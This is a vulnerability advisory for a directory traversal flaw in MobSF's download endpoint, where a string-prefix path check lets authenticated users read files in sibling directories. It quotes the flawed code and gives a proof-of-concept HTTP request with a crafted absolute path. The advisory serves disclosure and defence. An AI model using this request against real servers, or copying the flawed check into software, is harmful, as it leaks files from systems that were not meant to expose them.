PYSEC-2026-1672

Summary

The GET /download/<filename> route uses string path verification via os.path.commonprefix, which allows an authenticated user to download files outside the DWD_DIR download directory from "neighboring" directories whose absolute paths begin with the same prefix as DWD_DIR (e.g., .../downloads_bak, .../downloads.old). This is a Directory Traversal (escape) leading to a data leak.

Details

def is_safe_path(safe_root, check_path):
    safe_root  = os.path.realpath(os.path.normpath(safe_root))
    check_path = os.path.realpath(os.path.normpath(check_path))
    return os.path.commonprefix([check_path, safe_root]) == safe_root

commonprefix compares raw strings, not path components. For:

safe_root  = /home/mobsf/.MobSF/downloads
check_path = /home/mobsf/.MobSF/downloads_bak/test.txt

the function returns True, incorrectly treating downloads_bak as inside downloads. Download handler:

# MobSF/views/home.py
@login_required
def download(request):
    root = settings.DWD_DIR
    filename = request.path.replace('/download/', '', 1)
    dwd_file = Path(root) / filename  # absolute 'filename' ignores 'root'
    if '../' in filename or not is_safe_path(root, dwd_file):
        return HttpResponseForbidden(...)
    ext = dwd_file.suffix
    if ext in settings.ALLOWED_EXTENSIONS and dwd_file.is_file():
        return file_download(dwd_file, ...)

If the client supplies an absolute path in filename (starts with / or C:/), Path(root) / filename resolves to that absolute path; the flawed is_safe_path then accepts any sibling directory whose absolute path shares the same string prefix. The ../ check does not catch this.

Which file types are retrievable: Whatever is allowed by settings.ALLOWED_EXTENSIONS

PoC

Prereqs: authenticated user; standard install. Assume:

settings.DWD_DIR = /home/mobsf/.MobSF/downloads

Prepare a sibling directory with the same string prefix and a test file:

mkdir -p /home/mobsf/.MobSF/downloads_bak
echo "test" > /home/mobsf/.MobSF/downloads_bak/test.txt

As an authenticated user, request (note the leading / in the filename and the double/triple slash after /download/ to preserve it):

GET /download///home/mobsf/.MobSF/downloads_bak/test.txt HTTP/1.1
Host: <HOST>
Cookie: sessionid=<YOUR_SESSION>

Other working sibling directory names (if present):

…/downloads.old/...
…/downloads_backup/...
…/downloads1/...
…/downloads-archive/...
…/downloads 2024/... (URL-encoded space: downloads%202024)

Impact

Any authenticated user can download files (with allowed extensions) from sibling directories whose absolute paths start with the same string prefix as DWD_DIR.